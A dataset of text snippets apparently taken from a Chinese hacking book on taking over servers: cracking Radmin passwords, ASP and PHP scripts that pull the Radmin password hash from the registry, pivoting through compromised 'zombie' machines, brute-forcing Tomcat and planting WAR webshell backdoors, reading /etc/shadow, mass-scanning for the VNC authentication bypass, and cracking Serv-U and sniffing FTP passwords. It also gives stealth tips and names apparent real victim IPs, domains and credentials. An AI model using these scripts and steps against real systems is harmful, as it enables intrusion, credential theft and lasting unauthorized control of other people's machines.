    {"text": "破解成功后，破解程序会自动Telnet被破解的Radmin服务端，也就是说，Radmin客户端是通过Telnet方式连接的。 图7-80 口令破解测试 3.破解后续处理及技巧 Radmincracker破解程序在破解Radmin密码成功后会自动在当前文件夹下生成一个TXT文件，文件以被破解的IP地址命名，如图7-81所示，在该文件中显示格式为“IP地址:密码”。 图7-81 破解结果 Radmin破解技巧 （1）radmincracker.exe破解程序在破解时占用系统资源较多，因此，在破解时密码字典不宜太大，每一次破解密码字典以小于100KB为佳。"},
    {"text": "1.利用Radmin提权 很多Web服务器为了管理方便，都会安装一些远程控制软件进行系统和应用程序的维护。 当我们通过SQL注入等方式获得WebShell后，一旦发现系统安装了Radmin软件，那么一个比较快捷的方法就是获取Radmin的Hash值和端口等信息，然后通过Radmin_hash客户端连接工具直接连接，从而达到提权的目的。"},
    {"text": "在Radmin 2.x中，其参数设置信息均保存在注册表“HKEY_LOCAL_MACHINE\\ SYSTEM\\RAdmin\\v2.0\\Server\\Parameters”键值下，如图7-82所示。 图7-82 Radmin 2.x版本参数在注册表中的保存位置 “Parameter”是默认密码保存值，“Port”是默认端口保存值。"},
    {"text": "Radmin安全密码信息的保存位置：HKEY_LOCAL_MACHINE\\SOFTWARE\\ Radmin\\v3.0\\ Server\\Parameters\\RadminSecurity\\1。 Radmin安全密码信息的保存位置：HKEY_LOCAL_MACHINE\\SOFTWARE\\ Radmin\\v3.0\\Server\\Parameters\\NtUsers。"},
    {"text": "<% Set WSH= Server.CreateObject(\"WSCRIPT.SHELL\") RadminPath=\"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" Parameter=\"Parameter\" Port = \"Port\" path=\"LogFilePath\" ParameterArray=WSH.REGREAD(RadminPath &amp; Parameter ) Response.write \"The Result of Radmin Hash\" Response.write \"</br>\" Response.write \"\" Response.write Parameter&amp;\":\" If IsArray(ParameterArray) Then For i = 0 To UBound(ParameterArray) If Len (hex(ParameterArray(i)))=1 Then strObj = strObj &amp; \"0\" &amp; CStr(Hex(ParameterArray(i))) Else strObj = strObj &amp; Hex(ParameterArray(i)) End If Next response.write Lcase(strobj) Response.write \"</br>\" Else response.write \"Error! Can't Read!\" End If Response.write \"\" IF Port<>\"\" then PortArray=WSH.REGREAD(RadminPath &amp; Port ) If IsArray(PortArray) Then Response.write Port &amp;\":\" Response.write hextointer(CStr(Hex(PortArray(1)))&amp;CStr(Hex(PortArray(0)))) Response.write \"<br>\" Else Response.write \"Error! Can't Read!\" End If else Response.write \"Port is defualt 4899!\" end if Rpath=WSH.REGREAD(RadminPath &amp; path ) Response.write\"日志文件存储地址位：\" Response.write Rpath Response.write \"<br>\" Function hextointer(strin) Dim i, j, k, result result = 0 For i = 1 To Len(strin) If Mid(strin, i, 1) = \"f\" or Mid(strin, i, 1) =\"F\" Then j = 15 End If If Mid(strin, i, 1) = \"e\" or Mid(strin, i, 1) = \"E\" Then j = 14 End If If Mid(strin, i, 1) = \"d\" or Mid(strin, i, 1) = \"D\" Then j = 13 End If If Mid(strin, i, 1) = \"c\" or Mid(strin, i, 1) = \"C\" Then j = 12 End If If Mid(strin, i, 1) = \"b\" or Mid(strin, i, 1) = \"B\" Then j = 11 End If If Mid(strin, i, 1) = \"a\" or Mid(strin, i, 1) = \"A\" Then j = 10 End If If Mid(strin, i, 1) <= \"9\" And Mid(strin, i, 1) >= \"0\" Then j = CInt(Mid(strin, i, 1)) End If For k = 1 To Len(strin) - i j = j * 16 Next result = result + j Next hextointer = result End Function %> 直接访问该文件，即可读取Radmin的有关信息，如图7-83所示，获取了如下信息。"},
    {"text": "图7-83 获取Radmin的有关信息 （2）通过radmin.php获取 服务器可能会使用PHP脚本语言，那么使用radmin.asp文件就无法读取其相关信息了。 这时要想读取Radmin的信息，只要将以下代码保存为radmin.php文件即可，方法与保存radmin.asp文件类似，效果如图7- 84所示。 <?php $shell = new COM(\"WScript.Shell\") or die(\"This thing requires Windows Scripting Host\"); $rootkey = \"HKEY_LOCAL_MACHINE\\\\SYSTEM\\RAdmin\\\\v2.0\\\\Server\\\\Parameters\\\\\"; $Parameter = \"Parameter\"; $Port = \"Port\"; $logpath = \"LogFilePath\"; $myparam = $shell->RegRead($rootkey.$Parameter); $myport = $shell->RegRead($rootkey.$Port); $path = $shell->RegRead($rootkey.$logpath); echo \"radmin hash is:\"; foreach($myparam as $a){ echo dechex($a); } echo \"<br>\"; echo \"radmin port is :\".hexdec(dechex($myport[1]).dechex($myport[0])). \"<br>\"; echo \"radmin log path is:$path<br>\"; echo \"please clean the log\" ?> 图7-84 通过radmin.php获取Radmin参数值 注意 （1）在使用radmin.asp或者radmin.php文件读取服务器中的Radmin参数信息时，有可能会由于权限问题而无法读取。 （2）radmin.asp和radmin.php文件只能用于读取Radmin服务端3.0以下版本，对于Radmin 3.0以上版本的读取无能为力。"},
    {"text": "Radmin 3.x系列是对Radmin 2.x系列的完全升级，注册表、安装程序位置及名称都进行了调整，在同一个系统中，可以同时安装Radmin 2.x和Radmin 3.x。"},
    {"text": "在Radmin 3.x中，其加密方式已经进行了变更，在Ntusers键值下的“1”中保存的值是80位，而在Radmin Security中其数值数据位数更多，达到1 170位，猜测其密码位数为1 024，而多余的位数则可能是用户名称等信息保存的位数。"},
    {"text": "将上面获取的Radmin 32位Hash值、IP地址和端口记下，打开Radmin-hash，新建一个IP地址连接，然后像使用正常的Radmin客户端管理器一样进行操作，如图7-86所示，输入获取的32位Hash值。"},
    {"text": "图7-86 使用使用Radmin-hash连接工具连接服务端 图7-87 通过Radmin-hash客户端管理服务端 7.8.6 利用Radmin口令进行内网渗透控制 Radmin作为一款强大的远程控制软件，深受管理员喜爱。"},
    {"text": "1.查看肉机上的Radmin客户端 在Radmin客户端中，如果需要连接服务端，则必须要建立一个连接，也就是需要一个IP地址和端口号，否则就不能使用。"},
    {"text": "图7-88 Radmin客户端中的服务端计算机 2.通过Radmin客户端建立连接 在Radmin客户端中新建一个连接，其IP地址设置为如图7-89所示的地址，端口选择其相应的端口。 例如，选择IP地址“192.168.0.15”，根据肉机上Radmin客户端的记录，该地址对应的端口（Port）为“5003”，然后选中“Connect through host”复选框，选择该肉机的Radmin地址。 该IP地址（肉机的IP地址）将作为内外网连接的桥梁，如果内网的计算机安装了Radmin服务端，只要拥有该内网计算机的Radmin控制口令，即可实施全面控制。 图7-89 通过肉机的Radmin地址连接内网 3.尝试建立连接 按照以上步骤，依次为肉机Radmin客户端中的内网Radmin服务端计算机创建连接，然后依次选择内网计算机进行连接尝试。 在本例中，选择IP地址为192.168.0.11的计算机，在Radmin客户端中选择“屏幕查看”选项，双击进行连接。 输入肉机的Radmin控制口令尝试连接，如果内网计算机安装了Radmin服务端，则需要输入密码2次，一次为肉机的Radmin的口令，一次是内网计算机的Radmin口令。"},
    {"text": "在本例中，可以看到该内网计算机为监控计算机，如图7-90所示。 图7-90 连接内网计算机 4.通过Telnet查看IP地址 在本例中，肉机有外网IP地址，也有内网IP地址，其内网IP地址为192.168.0.105。 当通过肉机连接内网的计算机时，在内网计算机上显示的网络连接为内网的IP地址。 “192.168.0.102”为内网中的一台计算机，该计算机上的Radmin服务端开放的端口为5000，在本地Radmin客户端选择“Telnet”选项，然后双击“192.168.0.102”选项，输入密码，进入Telnet管理界面，输入“netstat -an”命令查看网络连接，如图7-91所示，该网络连接中显示的Radmin连接为内网连接。"},
    {"text": "6.小结 本案例通过查看已经控制的肉机的Radmin客户端，对其内网的Radmin服务端进行口令尝试攻击，使用肉机的Radmin口令登录内网计算机上的Radmin服务端，一旦口令正确，则可以完全控制该内网计算机。"},
    {"text": "7.8.7 利用Radmin口令进行外网渗透控制 利用Radmin口令除了可以进行内网渗透，还可以进行外网渗透，其原理与内网渗透类似，下面通过实际操作进行讲解。"},
    {"text": "1.查看肉机上的Radmin客户端 依次单击“开始”→“程序”→“Remote Administrator v2.2”→“Radmin Viewer”选项，打开Radmin客户端，在其中可以看到一个“187”标签。 选择“187”标签，可以在Radmin客户端界面底部看到其对应的IP地址为“*.*.*182”，端口号为“2100”，控制模式为“Full Control”，如图7-92所示。 2.通过Radmin客户端建立连接并查看远端屏幕 在本地Radmin客户端中新建一个连接，其IP地址设置为“*.*.*182”，端口为“2100”。 在Radmin客户端中选择“屏幕监视”选项，输入得到的密码进行尝试，密码验证成功后，即可进入屏幕监视状态，查看远端计算机的屏幕了，如图7-93所示。 图7-92 Radmin客户端中的服务端计算机 图7-93 查看肉机屏幕 3.查看IP地址 在本地Radmin客户端中选中刚才的IP地址，选择“Telnet”选项，进入Telnet操作模式，输入“IPconfig /all”命令查看该计算机的网络配置情况，该计算机的IP地址为独立外网IP地址，如图7-94所示。 图7-94 查看计算机网络情况 技巧 在Radmin客户端连接状态下，如果是Radmin 3.0及以上版本，可以直接通过工具条上的小图标进行功能的切换，不需要每次输入Radmin控制密码。 4.通过Telnet查看外网情况 在本例中，该计算机的IP地址为外网IP地址，可以通过“net view”命令查看附近网络的情况。"},
    {"text": "图7-95 查看外网情况 5.再次实施外网渗透攻击 再次利用前面的步骤和获取的信息，依次查看网络中开放2100端口的计算机，用已经获取的Radmin口令测试该网络中的外网计算机，成功控制了3台计算机，其中一台为服务器，且疑似为交易服务器，如图7-96所示。 图7-96 再次实施内网渗透 技巧 在写作本案例时，笔者偶然看见以前的一幅截图，里面有18台计算机，均是通过Radmin进行管理的，如图7-97所示。"},
    {"text": "图7-97 通过Radmin管理网络 6.小结 本例通过查看已经控制的肉机的Radmin客户端，获取其管理员管理其他计算机时所用的Radmin服务端IP地址和端口，并通过获取的Radmin口令对管理员管理的Radmin服务端进行口令尝试攻击，口令正确率在50％左右（即使不正确，还可以通过键盘记录等手段嗅探或者记录管理员在计算机上的操作，从而获取更多的口令和控制更多的外网计算机）。"},
    {"text": "未知 7.9 通过扫描Tomcat口令渗透Linux服务器 对运行JSP服务器的渗透方法与其他脚本的渗透方法稍有不同，JSP网站一般需要通过WAR文件部署程序，对这类网站的渗透，可以通过暴力破解Tomcat用户密码及MySQL、Oracle数据库密码等方法获取WebShell。本节介绍的Apache Tomcat Crack软件对Tomcat服务器具有较好的暴力破解能力。 7.9.1 使用Apache Tomcat Crack暴力破解Tomcat口令 在起始IP地址中输入“216.84.0.1”，在终止IP地址中输入“216.120.0.1”，单击“添加”按钮，将该地址段添加到扫描地址段中，如图7-98所示，其他使用默认设置。 图7-98 暴力破解Tomcat口令 7.9.2 对扫描结果进行测试 在扫描结果中选择“http://216.86.144.162:8080/manager/html”，然后进行登录测试。如图7-99所示，单击“Tomcat Manager”选项进行登录测试，输入用户名和密码进行登录。 图7-99 对扫描结果进行测试 7.9.3 部署WAR格式的WebShell 进入Tomcat Manager管理后台后，到最下方进行WAR文件的部署。如图7-100所示，单击“浏览”按钮，选择一个WAR格式的WebShell，该WebShell必须是JSP的WebShell，WAR格式可以在压缩时将后缀自定义为“war”。 图7-100 部署WAR格式的WebShell 7.9.4 查看Web部署情况 文件上传成功后，Tomcat会自动部署WAR文件。如图7-101所示，可以看到，在后台多了一个“/Browser”超链接，单击该超链接即可进入部署的文件夹。部署成功后，可以对部署的JSP WebShell进行启用（Start）、停止（Stop）、重载（Reload）和卸载（Undeploy）操作。 图7-101 查看Web部署情况 7.9.5 获取WebShell 在部署时尽量将JSP文件命名为“index.jsp”，这样在部署成功后访问部署的链接即可，否则需要使用“部署文件夹+具体的WebShell名称”才能正确访问WebShell地址，如图7-102所示。 图7-102 获取WebShell 7.9.6 查看用户权限 在WebShell中单击“系统命令”选项，进入执行命令界面。如图7-103所示，在文本框中输入“id”，获取系统当前用户的权限等信息。 图7-103 获取当前用户信息 7.9.7 上传其他WebShell 通过获取的WebShell上传一个Jbrowser的WebShell。使用此WebShell浏览文件非常方便，如图7-104所示。 图7-104 上传WebShell 7.9.8 获取系统加密的用户密码 执行“cat /etc/shadow”命令，获取当前Linux系统中所有用户的加密密码值，如图7-105所示，该密码采用MD5加密，可以通过cmd5.com网站进行破解。 图7-105 获取系统用户密码加密值 7.9.9 获取root用户的历史操作记录 执行“cat /root/.bash_history”命令查看root用户的历史操作记录，只有具有root用户权限才能查看该历史记录文件，如图7-106所示。 图7-106 查看root用户的历史操作记录 7.9.10 查看网站域名情况 使用“www.yougetsignal.com”网站的反查IP域名功能，获取该IP地址的两个域名，分别是“communityaccesssystems.com”和“richardliggitt.com”，如图7-107所示，单击该域名查看域名能否正常访问。 图7-107 查看该网站域名情况 7.9.11 获取网站的真实路径 通过查看“/etc/passwd”文件中的网站用户获取网站的真实路径。通过WebShell定位网站的真实路径，如图7-108所示。在“/etc/passwd”文件中会指定单独的用户作为网站用户，同时会指定该用户的默认目录，该默认目录即为网站的真实路径。 图7-108 获取网站的真实路径 7.9.12 保留WebShell后门 找到网站的真实路径后，继续查看该文件夹下的文件和内容。如图7-109所示，该文件夹为“testphp”，即PHP的测试文件夹，上传一个网页木马或者在源代码中加入一句话后门。 图7-109 网站留后门 7.9.13 小结 本节介绍了如何通过Apache Tomcat Crack暴力破解Tomcat口令，只要知道用户的名称，就能通过字典对目标进行暴力破解。获取Tomcat管理员的用户名和密码后，可以通过WAR文件部署JSP的WebShell，如果设置不当，获取的WebShell权限即为root权限。"},
    {"text": "未知 7.10 VNC认证口令绕过漏洞攻击 RealVNC（简称VNC）有免费版、个人版及企业版3个版本，它与pcAnywhere远程控制软件的功能类似，也是一款世界知名的跨平台远程控制软件，其4.1.1以前的版本均存在RealVNC远程认证绕过漏洞。 RealVNC采用RFB（远程帧缓冲区）协议允许客户端与服务端协商合适的认证方法，但协议的实现上存在设计错误，远程攻击者可以绕过认证，无须口令实现对服务器的访问。由于其功能强大，因此深受入侵者和网络管理人员的喜爱，国外用户颇多。RealVNC分为客户端和服务器端，只要知道服务端的IP地址、服务开放端口及访问口令即可完全实施控制，其服务端的默认端口为5900。 本案例通过VNC漏洞利用工具直接扫描开放5900端口的计算机，该工具在扫描过程中可以自动识别RealVNC远程认证绕过漏洞，并将扫描结果保存在VNC_bypauth.txt文件中。通过本案例读者可以了解VNC密码验证绕过漏洞，学会如何利用VNC密码验证绕过漏洞利用工具软件溢出存在漏洞的计算机。 7.10.1 扫描开放5900端口的计算机 本案例使用VNC漏洞利用软件扫描开放5900端口的IP地址。在DOS或者DOSShell下输入“vnc”命令后，会给出使用帮助，其命令格式为“vnc -i IPaddress1- IPaddress2 -p 5900 -vnc”。 在本例中，对64.141.178.98-64.255.255.255网段进行扫描的命令为“vnc -i 64.141.178.98-64.255.255.255 -p 5900 -vnc”，如图7-110所示，输入命令后按“回车”键开始扫描。 图7-110 扫描开放5900端口的IP地址 说明 （1）如果是通过Radmin的Telnet来执行扫描命令，只要扫描命令开始运行，即使关掉Telnet也不会影响扫描。VNC会继续在肉机上进行扫描，扫描时会提示扫描的IP地址数、比例及扫描所花费的时间等，如图 7-111所示。 图7-111 扫描情况 （2）vnc.exe扫描完成以后会在当前扫描目录中生成扫描结果文件VNC_bypauth.txt，该文件会记录开放5900端口的IP地址及VNC的状态，如图7-112所示。VNC的状态有patched、banned及VULNERABLE 3种，只有VULNERABLE状态是可以利用的。 图7-112 5900端口的扫描结果 7.10.2 整理开放5900端口的IP地址 使用UltraEdit编辑器编辑VNC_bypauth.txt，过滤存在“:5900 vnc4:VULNERABLE”的IP地址，如图7-113所示。 图7-113 整理IP地址 技巧 使用UltraEdit的“替换”和“清除行后空格”功能可以快速整理扫描后的VNC_bypauth.txt文件。 7.10.3 整理扫描批处理命令 在扫描结果文件VNC_bypauth.txt中替换字符串“:5900 vnc4:VULNERABLE”，并去掉行尾的空格。使用UltraEdit的“块选”功能，在IP地址前面加入link命令，编辑完毕后将文件另存为59-vnc.txt，如图7-114所示。 图7-114 编辑VNC连接批处理命令 说明 在link命令与IP地址之间要留一个空格，否则执行命令时会出现错误。 7.10.4 使用VNC连接器Link进行连接 全部选中并复制59-vnc.txt文件中的所有内容，然后在DOS窗口单击右键，在弹出的快捷菜单中选择“粘贴”命令，执行VNC连接批处理命令，在DOS窗口中会弹出VNC连接成功、VNC连接失败或者要求重新连接的对话框，如图7-115所示。 图7-115 VNC连接结果 7.10.5 处理连接结果 在执行批处理时，由于IP地址限制等原因，可能存在无法正常连接VNC服务器的情况，有时可能需要输入密码。关闭无法连接或者需要密码进行连接的VNC服务端，保留可以直接查看的VNC服务端，如图7-116所示。 图7-116 处理连接结果 技巧 在处理连接的过程中，如果VNC服务端界面中计算机显示为锁定状态，该计算机就需要输入用户名和密码才能使用。不过，可以选中该连接，单击右键，在弹出的快捷菜单中选择“VNC Connection Info”命令，查看该连接的相关信息，等待管理员登录后，在计算机没有锁定时实施控制，如图7-117所示。 图7-117 查看连接信息 7.10.6 实施控制 选择一个屏幕没有锁定的VNC服务端，依次单击“start”→“run”命令，在其中输入“cmd”命令，打开DOS提示符窗口。依次执行添加用户、提升用户为管理员权限及查看管理员组用户命令，如图7-118所示。由于拥有系统安全控制权限，因此在该界面还可以上传木马程序并执行。 图7-118 执行控制命令 注意 使用VNC连接器进行连接时使用的是完全控制模式，因此应当选择用户不在计算机旁时执行命令和实施控制，否则容易被用户当场发现。执行命令时尽量使用批处理命令，执行完毕后可自动退出DOS提示符窗口。 7.10.7 小结 本案例通过扫描5900端口，整理开放并存在VNC密码验证绕过漏洞的IP地址，通过VNC Link直接连接。连接成功后，如果计算机处于未锁定状态或者未进行屏幕保护，则可以直接在该计算机上执行各种命令来实施完全控制。在连接前，可以使用sfind等工具软件对已经扫描出存在漏洞的计算机进行5900端口开放情况探测，仅对开放5900端口的IP地址进行连接，这样效率会更高。 虽然VNC漏洞已经出现了很长时间，但是通过扫描我们发现目前依然有很多VNC存在漏洞的计算机。在安全防护越来越严格的情况下，通过本案例的思路来获取肉机不失为一种好方法。"},
    {"text": "未知 7.11 Serv-U密码破解 Serv-U是一款流行的FTP服务器，很多Web服务器都是用Serv-U来提供FTP服务，供网站使用者或者设计者上传和下载文件的。Serv-U在Web渗透中经常遇到，在权限等合适的情况下，可以通过WebShell直接获得服务器权限。Serv-U的早期版本采用MD5加密，在获取Serv-U文件夹下的ServUDaemon.ini文件后，可以对FTP用户密码进行破解。Serv-U的加密算法如下。 01 随机产生2个字符。 02 将01步产生的字符串加上需要的密码一起进行MD5加密。 03 将01步中随机产生的2个字符和02步中产生的MD5编码的大写形式的字符组合在一起。 下面以一个实际案例介绍如何破解Serv-U的密码。 7.11.1 获取ServUDaemon.ini文件 Serv-U的安装目录一般位于C:\\program files\\Serv-U\\下，也可能位于其他位置，安装路径由程序安装者决定。在获得WebShell权限的情况下，如果服务器上还安装了Serv-U，只要找到Serv-U的安装目录，将ServUDaemon.ini复制到本地留待后面进行破解即可，如图7-119所示。 图7-119 ServUDaemon.ini文件 7.11.2 查看ServUDaemon.ini文件 配置文件对大小写不敏感，行与行之间允许存在空行，主要分为[GLOBAL]全局变量段和[DOMAINS]域名配置段。[GLOBAL]全局变量段主要用于设置Serv-U的注册号及刷新标志。[DOMAINS]域名配置段中包括在Serv-U下添加的所有域信息及域以下的用户列表。 [GLOBAL] Version=5.0.0.0 #版本号，无须改动 RegistrationKey=HsVRCjxHMe/HwDOrrUxqeMuChKO0DdlzUy2tCGgcdMVQDs/7P9EdwjKr owsPF//h4YObIvknAH/FHA95cfEyb3wzQp2v7UfOzCFEFq722 #产品注册码，无须改动 ProcessID=1172 #注册号，无须改动 ReloadSettings=True #修改ini文件后必须加入此项，这时Serv-U会自动刷新配置文件并生效，此项随之消失。如果再 有修改，则再次添加 [DOMAINS] Domain1=0.0.0.0||21|Wizard Generated Domain|1|0|0 #无须改动，新增加的域的IP地址及说明，格式 #Domain1= IP地址 | 端口 | 域显示名称 | 是否生效 | 是否显示 | 是否删除 #IP地址为0.0.0.0时，Serv-U自动适配系统所分配的IP地址 #当生效位置0，则此域禁用 #当显示位置0，此域不生效并且在控制面板不显示此项 #当删除位置0，则ReloadSettings设置为“Ture”后，即刷新后，自动删除此域名以下的所有 内容 [Domain1] #无须改动，与上面添加的域对应，是此域内的一些公共设置 User1=admin|1|0 #必填，用户列表 #格式 #User序号 = 用户名 | 是否生效 | 是否删除 #User添加时必须按照序号排列：如果跳号，则跳号的不生效；如果序号重复，则排列在后的无效 #是否生效置0，则此用户禁用 #是否删除置1，则刷新后删除用户信息，包括配置；置2，则域下所有用户均删除 [USER=admin|1] #用户配置段，这些段的排列不分先后 TimeOut=600 Maintenance=System Note1=\"Administrator User\" Access1=g:\\|RWAMELCDP 在Serv-U密码破解中需要注意用户的配置，也就是ServUDaemon.ini文件中涉及用户的9个参数，一个用户对应一套参数配置，具体参数举例如下。 [USER=zt828|1]：表示用户为zt828。 password=mk7DC2A4B1A9A9E1F52A7F967FBCAA0A37：表示FTP用户zt828的密码为“mk7DC2A4B1A9A9E1F52A7F967FBCAA0A37”。 HomeDir=d:\\wwwroot\\zt828：表示默认主目录为d:\\wwwroot\\zt828。 MaxNrUsers=10：表示最大用户连接数为10个。 RelPaths=1：表示是否锁定用户到主目录，1表示锁定。 ChangePassword=1：表示是否可以修改密码，1表示可以。 DiskQuota=1|104857600|0：表示磁盘分配大小为100MB（100×1024×1024）。 SpeedLimitUp=102400：表示上传速度限制为100kb/s。 SpeedLimitDown=102400：表示下载速度限制为100kb/s。 Access1=d:\\wwwroot\\zt828|RL：表示读取和列表d:\\wwwroot\\zt828目录。 7.11.3 破解Serv-U密码 以上面的zt828用户配置为例，将密码“mk7DC2A4B1A9A9E1F52A7F967FBCAA0A37”中的“mk”去掉，并将其复制到cmd5网站进行破解，如图7-120所示，密码可以被破解，但需要付费。单击“购买”按钮即可获得其查询的MD5值，如图7-121所示。 “7DC2A4B1A9A9E1F52A7F967FBCAA0A37”是采用MD5进行加密的，其密码为“mkok918918”，去掉“mk”后得到FTP的密码“ok918918”。 图7-120 通过cmd网站查询MD5密码 图7-121 获取破解后的密码 7.11.4 验证FTP 使用FTP的IP地址登录，输入用户名“zt828”和密码“ok918918”，即可成功登录FTP服务器。如图7-122所示，正常进入后可以查看网站的源代码、上传WebShell、获取数据库用户名和密码等。 图7-122 成功进入FTP服务器"},
    {"text": "未知 7.12 使用Cain嗅探FTP密码 使用Cain嗅探FTP密码适用于两种情况。一种情况是因为使用FTP软件时间较长而忘记了FTP的密码，又需要知道FTP的用户名和密码（FTP的用户名是明文，密码则是以多个“*”显示）。另一种情况是在安全检测过程中获取了某FTP完整软件，也就是说，该FTP软件中包含用户使用FTP的账号和密码等信息，只要将整个文件夹复制到本地或者将配置文件复制到本地即可使用。虽然可以通过软件的导入等功能将FTP的账号等信息导入本地FTP软件中使用，但还是不如自己弄个明白。随着FTP软件开发技术的提高，大部分FTP软件的新版本已经屏蔽了使用星号密码查看器查看FTP软件中的账号所对应的密码的机制，这个时候，就只能使用Cain获取FTP密码了。 7.12.1 安装Cain “Cain”的全称是“Cain & Abel”，最新版本为4.9.56，该公司的网址是http://www. oxid.it，用户可以到该公司的站点下载该软件。下载后按照正常软件的安装流程进行安装。安装结束后，程序会要求用户安装WinPcap抓包软件，安装完毕即可使用。 7.12.2 设置Cain 运行Cain软件，在菜单中选择“Configure”选项，将弹出“Configuration Dialog”对话框，如图7-123所示。在其中选择用于上网的网卡，然后勾选窗口下方的“Start Sniffer on start”和“Start ARP on start”复选框，最后单击“确定”按钮完成设置。 图7-123 设置Cain 7.12.3 开始监听 回到主界面后，如图7-124所示，单击主界面窗口左上角的网卡和圆形图形按钮开始监听。 图7-124 开始监听 7.12.4 运行FTP客户端软件 在肉机（本机）上运行FTP客户端软件，在本例中使用的是FlashFTP。运行FlashFTP后，依次连接站点中的FTP主机地址，如果用户名和密码正确，就会进入FTP服务器的相应目录。如图7-125所示，该服务器是一台文件服务器，其中有很多电影文件，下载速度比较快。 图7-125 运行FTP软件尝试连接 7.12.5 查看监听结果 在Cain的主界面上单击“Sniffer”标签，在下方单击“Passwords”标签，就会在表格中看到Cain的监听结果，如图7-126所示，FTP服务器地址、用户名及密码一目了然。 图7-126 查看监听结果 技巧 （1）先看Cain主界面的左边窗口，在密码下面即为Sniffer的结果。Sniffer的结果是一个树形结构，如果在“（0）”中显示的是监听结果，则本例中有监听结果的是“Ftp（4）”，表示监听到4个FTP密码记录。 （2）依次单击“View”→“Hide”选项，或者使用“Alt+Del”快捷键，可以隐藏Cain监听窗口，而且在计算机上看不到Cain的任何信息，由此即可达到隐藏的目的。 （3）Cain的监听结果会保存在Cain安装目录下对应的LST文件中。本例中监听到的是FTP密码，则结果会保存在ftp.lst文件中。打开该文件，如图7-127所示，可以看到FTP服务器地址、客户端地址、用户名和密码，按照大小进行排序，可以很方便地找出含有监听结果的LST 文件，将其复制到本地即可查看监听结果。 图7-127 文件中保存的监听结果 7.12.6 小结 Cain是一款强大的监听软件，除了密码监听外，还可以进行密码破解等。在入侵过程中，一旦知道对方使用CuteFTP、FlashXP等FTP客户端，则可以将其整个目录及配置文件复制到本地，通过在本地还原或者获取其密码获取更多的信息，甚至直接或者间接提升权限。这种方法虽然没有Serv-U提升权限那么直接，但是结合社会工程学进行木马捆绑诱骗，其效果还是不错的，所以一定要注意防范。"},
    {"text": "未知 7.13 利用Tomcat的用户名和密码构建后门 “JSP”是“Java Server Pages”的缩写，是由Sun公司倡导、许多公司共同参与建立的一种动态网页技术标准。 JSP技术是以Java作为脚本语言的，JSP网页为整个服务器端的Java库单元提供了一个接口为HTTP的应用程序服务。 在传统的网页HTML文件（*.htm、*.html）中加入Java程序片段和JSP标记，就构成了JSP网页（*.jsp）。 Web服务器在访问JSP网页的请求时，首先执行其中的程序片段，然后将执行结果以HTML格式返回给客户。"},
    {"text": "所有程序操作都在服务器端执行，通过网络传送给客户端的仅是得到的结果，对客户浏览器的要求最低，可以实现无插件、无ActiveX、无Java Applet甚至无框架。"},
    {"text": "这个包中的文件按一定目录结构来组织，通常其根目录下包含HTML和JSP文件（或者包含这两种文件的目录），另外还有一个WEB-INF目录（这个目录很重要）。 通常在WEB-INF目录下有一个web.xml文件和一个classes目录，web.xml是这个应用的配置文件，而classes目录下则包含编译好的Servlet类和JSP或Servlet所依赖的其他类（如JavaBean）。 这些所依赖的类一般也可以打包成JAR文件放到WEB-INF下的lib目录下，当然，也可以放到系统的CLASSPATH目录下，但那样做会给移植和管理带来很多不便。"},
    {"text": "7.13.1 检查Tomcat设置 服务器安装Apache Tomcat后，会默认开放8080端口供外部连接使用，一般在浏览器中输入“IP:8080”或者域名来访问Apache Tomcat页面，如图7-128所示。 图7-128 访问Apache Tomcat页面 7.13.2 查看Tomcat用户配置文件 Tomcat安装完成后有一个配置文件tomcat-users.xml，它位于Tomcat程序安装目录的conf目录下，直接打开该文件可以看到其中关于用户名和密码的明文值，如图7-129所示，找到并记住包含“admin,manager”行的用户名和密码。 图7-129 获取用户配置的用户名和密码 说明 （1）有很多对Tomcat不是很了解的管理员在安装Tomcat后没有修改默认密码（默认用户名是“admin”，密码为空），如果是这种情况可以直接登录。 （2）如果用户修改了该密码，那么其密码一定保存在tomcat-users.xml文件中，因此可以通过WebShell获取这个文件的内容。 7.13.3 进入Tomcat管理 Tomcat提供了在线管理功能，本案例也正是利用该功能来构建后门的。 如图7-128所示，单击页面左侧的“Tomcat Manager”超链接，会弹出一个要求输入用户名和密码的窗口。"},
    {"text": "图7-130 登录Tomcat管理应用 7.13.4 查看部署情况 输入从tomcat-users.xml文件中获取的具有管理员权限的用户名和密码，验证通过后进入部署管理页面，如图7-131所示。"},
    {"text": "图7-131 部署管理页面 说明 （1）在部署管理页面中可以“Start”（启动）、“Stop”（停止）、“Reload”（重载）、“Undeploy”（删除部署）已经部署的项目。"},
    {"text": "7.13.5 部署JSP WebShell后门程序 在部署管理页面的下方有一个“WAR file to deploy”设置区。 选择一个已经设置好的后门WAR文件（本例中的后门程序为job.war），将该文件部署到服务器上，如图7-132所示。 图7-132 将后门WAR文件上传到服务器 说明 （1）部署的文件必须是WAR文件。 （2）将WinZip软件安装在系统中，然后将单个或多个JSP后门文件压缩成一个文件，压缩成功后，将文件后缀从“.zip”更改为“.war”即可。"},
    {"text": "7.13.6 测试后门程序 在地址栏中输入“部署文件名称/JSP文件名”，如图7-133所示，在本例中是“http://127.0.0.1:8080/job/job.jsp”，如果设置正确会显示WebShell登录窗口。 图7-133 登录WebShell 7.13.7 在WebShell中执行命令 在WebShell中输入密码后，进入WebShell管理界面，默认显示服务器的一些信息。"},
    {"text": "平时可以在系统中保留一个小的后门程序，如果后门程序被杀毒软件查杀或者被管理员发现并删除，则可以通过以上步骤重新进行部署，从而永久保留后门。"},
    {"text": "由于笔者对JSP不是特别熟悉，不知道在JSP中是否可以进行诸如IIS中的严格的权限限制，以及能否禁止JSP WebShell的执行，因此，本案例只探讨服务器攻防——功能再强大的应用程序，也往往会因为存在一个微小的漏洞就被完全攻破。"},
    {"text": "未知 7.14 破解静态加密软件 一般来说，软件作者将软件编写完成后，出于对安全和利益的考虑，往往会对软件进行加密，以防止盗版和保护合法使用者的权益。"},
    {"text": "常见的注册码方式有“机器码+注册码”、“用户名+注册码”、“组合方式+注册码”。 其中最简单的就是早期固定字符串的软件注册，即设置一个固定的字符串，如果用户输入的字符串与指定的相符，则执行程序的正常功能，否则将提示用户退出或者重新输入注册码。"},
    {"text": "（4）网络验证 网络验证是指软件在注册时要在线连接官方网站进行注册，或者在注册后不定期地自动连接到官方网站进行正版校验，如果无法通过，则视为盗版或者试用版本。"},
    {"text": "（5）NAG窗口 在使用未注册版本或者试用版本的软件时，经常会弹出一些提示窗口，要求用户注册，这些窗口称为NAG窗口。 在软件试用期结束后，NAG窗口很可能会屏蔽软件的正式窗口或者某些重要的功能窗口，使软件不能被正常使用。"},
